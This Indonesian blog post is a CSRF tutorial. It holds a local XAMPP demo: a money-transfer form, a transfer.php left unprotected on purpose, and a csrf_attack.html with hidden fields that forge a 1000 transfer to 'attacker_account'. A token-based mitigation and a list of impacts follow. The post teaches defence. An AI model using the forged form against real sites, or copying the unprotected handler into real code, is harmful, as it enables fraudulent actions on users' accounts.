CROSS SITE REQUEST FORGERY

Cross-Site Request Forgery (CSRF)

Adalah jenis serangan yang memaksa pengguna yang telah diautentikasi ke suatu situs web untuk melakukan tindakan yang tidak diinginkan pada situs tersebut. 

Penyerang menggunakan kredensial pengguna yang sah untuk melakukan aksi berbahaya tanpa sepengetahuan pengguna

MEKANISME SERANGAN CSRF 

- Penyerang membuat permintaan berbahaya: 

Penyerang membuat URL atau formulir yang mengandung permintaan berbahaya. 

- Mengelabui korban: 

Penyerang mengelabui korban untuk mengklik URL atau mengisi formulir di situs lain. 

- Permintaan dikirim dengan kredensial korban: 

Permintaan berbahaya dikirim ke situs yang ditargetkan dengan kredensial korban yang sah. 

- Situs target memproses permintaan: 

Situs target memproses permintaan karena berasal dari pengguna yang sah. 

DEMO 

- Buat sebuah folder di C:\xampp\htdocs\ bernama csrf. 

- Di dalam folder csrf, buat file bernama index.html dengan isi sebagai berikut: 

<!DOCTYPE html>
<html>
<body>
<h2>Transfer Uang</h2>
<form action="transfer.php" method="POST">
<label for="amount">Jumlah:</label><br>
<input type="text" id="amount" name="amount"><br>
<label for="to">Kepada:</label><br>
<input type="text" id="to" name="to"><br><br>
<input type="submit" value="Transfer">
</form>
</body>
</html>

- Buat file bernama transfer.php dengan isi sebagai berikut:

<?php
session_start();
// Proses transfer (tanpa perlindungan CSRF)
$amount = $_POST['amount'];
$to = $_POST['to'];
echo "Transferred $amount to $to";
?>

- Buat file bernama csrf_attack.html dengan isi sebagai berikut: 

<!DOCTYPE html>
<html>
<body>
<h2>CSRF Attack</h2>
<form action="http://localhost/csrf/transfer.php" method="POST">
<input type="hidden" name="amount" value="1000">
<input type="hidden" name="to" value="attacker_account">
<input type="submit" value="Submit">
</form>
</body>
</html>

Akses Formulir Transfer: 

- Buka browser dan akses http://localhost/csrf/index.html 

- Isi formulir dan submit untuk memastikan transfer bekerja. 












Luncurkan Serangan: 

- Buka http://localhost/csrf/csrf_attack.html. 






- Klik tombol submit dan lihat hasil di halaman transfer.php. 




Bentuk mitigasi yang bisa dilakuakan :

Untuk melindungi form ini dari serangan Cross-Site Request Forgery (CSRF), bisa menambahkan token CSRF pada form dan memvalidasi token tersebut di server saat form dikirim. Berikut adalah contoh bagaimana cara melakukannya:

  1. Generate dan simpan token CSRF di server: Modifikasi file transfer.php untuk membuat token CSRF dan menyimpannya di sesi.

  2. Tambahkan token CSRF ke dalam form: Sisipkan token CSRF yang dihasilkan ke dalam form sebagai input hidden.

  3. Validasi token CSRF di server: Pastikan token yang dikirim bersama form valid sebelum memproses permintaan.

Berikut adalah contoh implementasi:

- Modifikasi pada transfer.php

<?php
// Start the session
session_start();

// Generate CSRF token
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

// Check if form is submitted
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!empty($_POST['csrf_token']) && hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
        // Valid request, process the transfer
        $amount = $_POST['amount'];
        $to = $_POST['to'];
        // Process the transfer here
        echo "Transfer berhasil kepada $to sejumlah $amount.";
    } else {
        // Invalid CSRF token
        echo "Token CSRF tidak valid.";
    }
}
?>

- Modifikasi pada file index.html

<!DOCTYPE html>
<html>
    <body>
        <h2>Transfer Uang</h2>
        <?php
        // Start the session to get the CSRF token
        session_start();
        ?>
        <form action="transfer.php" method="POST">
            <label for="amount">Jumlah:</label><br>
            <input type="text" id="amount" name="amount"><br>
            <label for="to">Kepada:</label><br>
            <input type="text" id="to" name="to"><br><br>
            <input type="hidden" name="csrf_token" value="<?php echo htmlspecialchars($_SESSION['csrf_token']); ?>">
            <input type="submit" value="Transfer">
        </form>
    </body>
</html>

Hasil :





Dampak dari serangan CSRF :

Dengan demikian, form HTML ini sekarang memiliki perlindungan terhadap serangan CSRF dengan menggunakan token CSRF yang dihasilkan dan divalidasi di server.

Serangan Cross-Site Request Forgery (CSRF) dapat memiliki berbagai dampak negatif, baik bagi pengguna maupun bagi aplikasi web yang diserang. Berikut adalah beberapa dampak utama dari serangan CSRF:

1. Kehilangan Data : Penyerang dapat melakukan aksi yang merugikan seperti menghapus data penting, mengubah informasi, atau melakukan transaksi yang tidak diinginkan atas nama korban.

2. Kompromi Akun  Penyerang dapat mengakses dan mengambil alih akun pengguna, termasuk akun dengan hak istimewa tinggi, seperti administrator.

3. Kerugian Finansial : Dalam aplikasi e-commerce atau perbankan, serangan CSRF dapat menyebabkan transfer dana yang tidak sah atau pembelian barang tanpa sepengetahuan korban.

4. Kehilangan Kepercayaan Pengguna : Jika pengguna menyadari bahwa aplikasi yang mereka gunakan tidak aman, ini dapat merusak reputasi penyedia layanan dan mengurangi kepercayaan pengguna.

5. Kerusakan Hubungan Bisnis : Jika serangan CSRF menyebabkan kerugian pada mitra bisnis, hal ini dapat merusak hubungan bisnis dan berpotensi menyebabkan kerugian finansial yang lebih besar.

6. Masalah Hukum dan Kepatuhan : Dalam beberapa kasus, pelanggaran keamanan yang diakibatkan oleh serangan CSRF dapat menyebabkan masalah hukum, terutama jika melibatkan data pribadi yang dilindungi oleh regulasi seperti GDPR atau HIPAA.

7. Penurunan Performa Sistem : Serangan CSRF yang berulang dan masif dapat membebani sistem dan menyebabkan penurunan performa aplikasi web.

Untuk menghindari dampak negatif tersebut, penting bagi pengembang aplikasi web untuk menerapkan langkah-langkah pencegahan yang efektif, seperti menggunakan token CSRF, memvalidasi sumber permintaan, dan mengedukasi pengguna tentang praktik keamanan yang baik.



Komentar

Postingan populer dari blog ini

Open Source Intelligence (OSINT)

Mengenal MongoDB For VSCode

GETTING STARTED WITH MATPLOTLIB & SEABORN